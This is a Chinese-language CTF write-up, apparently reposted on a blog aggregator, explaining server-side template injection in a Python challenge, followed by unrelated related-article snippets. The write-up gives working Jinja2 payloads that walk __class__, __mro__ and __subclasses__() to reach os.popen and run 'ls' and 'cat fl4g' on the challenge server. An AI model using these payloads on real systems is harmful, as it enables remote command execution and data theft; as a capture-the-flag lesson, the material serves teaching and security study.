SSTI 服务器端模板注入(Server-Side Template Injection)

news2024/11/28 3:25:01

1.Web_python_template_injection

{{}}是变量包裹标识符,里面存放的是一个变量,当你输入

http://61.147.171.105:55121/{{8*8}}

 

执行成功,说明存在模版注入。接下来,开始想办法编代码拿到服务器的控制台权限 。

首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思考怎样用 python 语句获取控制台权限:

python调用Shell脚本,有两种方法:os.system() 和 os.popen()
前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容,以 file 形式返回。

所以选择 `os.popen` 。

知识点

__class__:获取到当前实例对应的类

python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新式类实例,比如 '' ,一个空字符串,就是一个新式类实例,所以 ''.__class__ 就可以获取到实例对应的类.

http://61.147.171.105:55121/{{''.__class__}}

告诉我们这个变量的类是 'str' 。

接下来,从这个类找到它的基类:

http://61.147.171.105:55121/{{''.__class__.__mro__}}

 .__class__.__mro__:获取当前类对象的所有继承类 

从结果中可以发现 '' 对应的类对象 str 继承的顺序是 basestring->object。

然后,通过基类来找其中任意一个基类的引用列表:

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()}}

`__mro__[ ]` 中括号里填谁其实区别都不大,这些基类引用的东西都一样的。

找到我们想要的 `os` 所在的 `site._Printer` 类,它在列表的第七十二位, 即 `__subclasses__()[71]` 。

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

这里的 `popen('ls').read()` 意思是得到 ls 的结果并读取给变量,因此它会把当前目录所有文件都打印在我们的网页上 . 

联系题目,明显的是后端有一个flag文件需要open,然后print出来,或者使用命令行cat 查看。

从这里我们看到,flag 存在一个叫 `fl4g` 的无后缀文件里,再构造一个 payload,用 `cat` 读取内容:

http://61.147.171.105:55121/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1559578.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用于网站域名备案的服务器最便宜多少钱?30元备案5个网站

用于备案的服务器多少钱?阿里云30元3个月,腾讯云62元一年,符合ICP备案的服务器只要满足3个月时长就够用,并且一台云服务器可以备案5个网站域名或APP。云服务器吧yunfuwuqiba.com分享阿里云最便宜备案服务器价格和腾讯云ICP备案服务…

MES_ENT_STD

生产执行系统(企业标准版)MES_ENT_STD ERP_ENT_STD_59438.ieqq.ent-CSDN博客 OAMS_ENT_STD-CSDN博客

笔试——3.31腾讯笔试

整体难度尚可&#xff0c;ac了三道半&#xff0c;第四题没什么时间了没怎么看。 第一题 #include<bits/stdc.h> using namespace std;vector<vector<pair<int, int>>>arr; vector<int>visited; //res 1 white 0 int cnt 0;void dfs(int x) {if…

基于OrangePi Zero2的智能家居项目(开发阶段)

智能家居项目的软件实现 紧接上文 基于OrangePi Zero2的智能家居项目&#xff08;准备阶段&#xff09;-CSDN博客 目录 一、项目整体设计 1.1项目整体设计 1.2具体划分 二、开发工作的前期准备 1、进行分类&#xff0c;并用Makefile文件进行管理 参考&#xff1a;自己创…

pajamas 0 publish repo fst in gitee

0. 好久没有blog了&#xff0c;真的好久了&#xff0c;先交代一波 因为半年来发生了很多&#xff0c;计划有变&#xff0c;辞工作&#xff0c;出去耍&#xff0c;找工作&#xff0c;重新计划… 从半年前开始&#xff0c;就想好了&#xff0c;最近这两年应该优先会写代码 &…

一篇讲明白 Hadoop 生态的三大部件

文章目录 每日一句正能量前言01 HDFS02 Yarn03 Hive04 HBase05 Spark及Spark Streaming关于作者推荐理由后记赠书活动 每日一句正能量 黎明时怀着飞扬的心醒来&#xff0c;致谢爱的又一天&#xff0c;正午时沉醉于爱的狂喜中休憩&#xff0c;黄昏时带着感恩归家&#xff0c;然后…

python实现模糊神经网络(pytorch版)

1 理论 模糊神经网络是一种基于模糊逻辑的神经网络模型&#xff0c;其主要用于处理模糊信息和不确定性的问题。模糊神经网络可以将输入数据映射到一个模糊集合中&#xff0c;然后通过一系列的模糊规则进行求解&#xff0c;最终输出一个模糊集合。 模糊神经网络的基本原理是将…

AMD GPUs - Radeon™ PRO W7900与NVIDIA 4000系列GPU性能

文心一言 RTX 4090的性能高于AMD Radeon PRO W7900。 RTX 4090具有760亿个晶体管、16384个CUDA核心和24GB高速镁光GDDR6X显存&#xff0c;在4K分辨率的游戏中持续以超过100FPS运行。RTX 4090采用全新的DLSS 3技术&#xff0c;相比3090TI&#xff0c;性能提升可达2~4倍&#x…

CSS实现元素边框渐变动画

前言&#xff1a; 边框流动动画是一种非常常见的效果&#xff0c;能够让网页看起来更加生动有趣。通过使用 CSS3&#xff0c;我们可以轻松地实现这种动画效果。本文将介绍如何使用 CSS3 实现边框流动效果&#xff0c;下面一起来看看吧。 示例图&#xff1a;边框是动画持续变化的…

MCRNet:用于乳腺超声成像语义分割的多级上下文细化网络

MCRNet&#xff1a;用于乳腺超声成像语义分割的多级上下文细化网络 摘要引言方法 MCRNet_ Multi-level context refinement network for semantic segmentation in breast ultrasound imaging 摘要 由于对比度差、目标边界模糊和大量阴影的不利影响&#xff0c;乳腺超声成像中…

文献阅读:通过 NeuronChat 从单细胞转录组推断神经元-神经元通信

文献介绍 「文献题目」 Inferring neuron-neuron communications from single-cell transcriptomics through NeuronChat 「研究团队」 聂青&#xff08;加利福尼亚大学欧文分校&#xff09; 「发表时间」 2023-02-28 「发表期刊」 Nature Communications 「影响因子」 16.6…

mysql8 功能特点

1.查询缓存 删除了 2.secondary engine 设置&#xff1a; MySQL默认的存储引擎是InnoDB&#xff0c;而引入Secondary Engine&#xff0c;用来实现同时支持多引擎&#xff0c;在同一个MySQL Server上挂多个存储引擎&#xff0c;在支持InnoDB的同时&#xff0c;还可以把数据存放…

CommunityToolkit.Mvvm----配置

一、介绍&#xff1a; CommunityToolkit.Mvvm 包&#xff08;又名 MVVM 工具包&#xff0c;以前称为 Microsoft.Toolkit.Mvvm&#xff09;是一个现代、快速和模块化的 MVVM 库。 它是 .NET 社区工具包的一部分&#xff0c;围绕以下原则生成&#xff1a; 独立于平台和运行时 - …

Pandas | value_counts() 的详细用法

value_counts() 函数得作用 用来统计数据表中&#xff0c;指定列里有多少个不同的数据值&#xff0c;并计算每个不同值有在该列中的个数&#xff0c;同时还能根据指定得参数返回排序后结果。 返回得是Series对象 value_counts(values,sortTrue, ascendingFalse, normalizeFal…

《Linux运维实战:达梦DM8数据库之基本操作》

一、创建表空间 1.1、使用客户端工具创建 1、使用 SYSDBA 用户登录 DM 管理工具。右键表空间模块&#xff0c;点击【新建表空间】&#xff0c;如下图所示&#xff1a; 2、可根据项目需要&#xff0c;修改表空间文件、路径、大小、是否自动扩充、扩充上限等信息&#xff0c;如下…

网络类型整理

1、点到点 &#xff1a;在一个网段内只能存在&#xff0c;两个物理节点 MA-多路访问 -- 在一个网段内物理节点的数量不限制 MA--- BMA NBMA 2、BMA -- 广播型多路访问 3、NBMA--非广播型多路访问 注&#xff1a;不同网络类型实际为不同的数据链路层技术&#xff1b;由于二…

力扣--对链表进行插入排序--147

该题是不带哨兵位的&#xff01;&#xff01;&#xff01; 目录 该题是不带哨兵位的&#xff01;&#xff01;&#xff01; 首先先进行带哨兵位的代码展示&#xff1a; 但是就提论题&#xff0c;力扣上的这道题&#xff0c;没有明确说明附带哨兵位&#xff0c;我们一律按照…

11-SpringSecurity:Session共享,菜鸟驿站java面试题

pom依赖 org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-security org.springframework.boot spring-boot-starter-data-redis org.springframework.session spring-session-data-redis org.projectlombok lombok …

1.java 安装

操作步骤 下载: https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html1 通过Xftp将下载下来的jdk上传到指定虚拟机上传到/usr目录下 2 通过Xshell连接到虚拟机&#xff0c;执行如下命令&#xff0c;解压文件&#xff1a; $ tar zxvf jdk-8u…

算法沉淀 —— 动态规划篇(简单多状态dp问题下)

算法沉淀 —— 动态规划篇&#xff08;简单多状态dp问题下&#xff09; 前言一、买卖股票的最佳时机含冷冻期二、买卖股票的最佳时机含手续费三、买卖股票的最佳时机 IV 前言 几乎所有的动态规划问题大致可分为以下5个步骤&#xff0c;后续所有问题分析都将基于此 1.、状态表示…